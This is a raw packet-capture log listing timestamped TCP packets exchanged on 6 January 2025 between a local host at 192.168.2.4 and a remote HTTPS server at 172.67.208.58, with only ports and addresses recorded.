Jan 6, 2025 15:47:43.789403915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789438009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.789607048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789621115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789663076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.789668083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789697886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.789747000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.789799929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.789807081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.790812016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.874579906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.874598026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.874644995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.874654055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.874671936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.874686956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.874849081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.874867916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.874902964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.874908924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.874948978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.875117064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.875133038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.875183105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.875189066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.875237942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.875549078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.875565052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.875596046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.875601053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.875617027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.875638008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.875984907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876002073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876038074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876041889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876056910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876069069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876075983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876086950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876091003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876123905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876148939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876348972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876365900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876434088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876440048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876513958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876523018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876590014 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876604080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876637936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876641989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.876666069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.876683950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.877342939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.961775064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.961796045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.961829901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.961838961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.961852074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.961884022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.962977886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.962994099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963032961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963038921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963049889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963073969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963126898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963145018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963221073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963226080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963339090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963346958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963354111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963381052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963398933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963404894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963422060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963437080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963464975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963479042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963517904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963524103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963676929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963865042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963881016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963920116 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963924885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963948011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963951111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963973045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.963973999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.963983059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.964000940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.964029074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.964039087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.964042902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.964051962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:43.964066982 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.964097023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:43.964179039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.048742056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.048763037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.048803091 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.048813105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.048824072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.048861027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.048949957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.048966885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049005985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.049011946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049273968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049292088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049324989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.049330950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049345016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.049371004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.049488068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049501896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049541950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.049547911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.049582958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050069094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050088882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050122023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050127029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050136089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050151110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050154924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050192118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050196886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050208092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050235987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050354958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050376892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050404072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050409079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050421000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050438881 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050659895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050673962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050710917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050717115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.050739050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.050755978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.051155090 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.135670900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.135691881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.135744095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.135754108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.135783911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.135801077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.135898113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.135914087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.135946989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.135952950 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.135976076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136003971 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136198044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136213064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136241913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136248112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136269093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136291027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136466026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136480093 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136527061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136533022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136554956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136568069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136748075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136765003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136800051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136806011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.136831045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.136842966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137017965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137032986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137073040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137079954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137118101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137314081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137327909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137372971 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137379885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137403011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137428999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137618065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137633085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137669086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137676001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.137708902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.137768030 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.138262033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.222445965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222462893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222522020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.222529888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222702026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222722054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222754002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.222759008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222774982 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.222800016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.222804070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222815037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.222843885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.223018885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223033905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223078966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.223084927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223097086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.223804951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223825932 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223859072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.223864079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223877907 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.223887920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223906994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223948002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223951101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.223961115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.223977089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224001884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224006891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224035025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224047899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224117041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224132061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224184990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224191904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224251032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224384069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224399090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224442005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224447012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.224471092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.224484921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.225603104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.309410095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309446096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309477091 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.309488058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309510946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.309530973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.309762001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309776068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309840918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.309840918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.309847116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309967041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.309986115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310010910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310015917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310026884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310054064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310254097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310267925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310318947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310326099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310378075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310586929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310607910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310636997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310642004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310672998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310683966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310817003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310830116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310866117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310870886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.310893059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.310904026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.311116934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.311130047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.311177015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.311183929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.311295033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.311378956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.311397076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.311410904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.311467886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.311480045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.311527967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.315834045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.409313917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409332037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409384966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.409394979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409472942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.409832001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409848928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409885883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409907103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.409914017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.409936905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.409976959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410264015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410283089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410331011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410336971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410347939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410558939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410577059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410612106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410619974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410640955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410814047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410826921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410859108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410866022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.410893917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.410990953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.411007881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.411035061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.411039114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.411048889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.411556959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.411571026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.411611080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.411617994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.411639929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.412087917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.412163019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.496505976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.496525049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.496596098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.496607065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.496748924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.496754885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.496769905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.496812105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.496817112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.496854067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.496854067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:44.497046947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497061968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:44.497132063 CET	49746	443	192.168.2.4	172.67.208.58
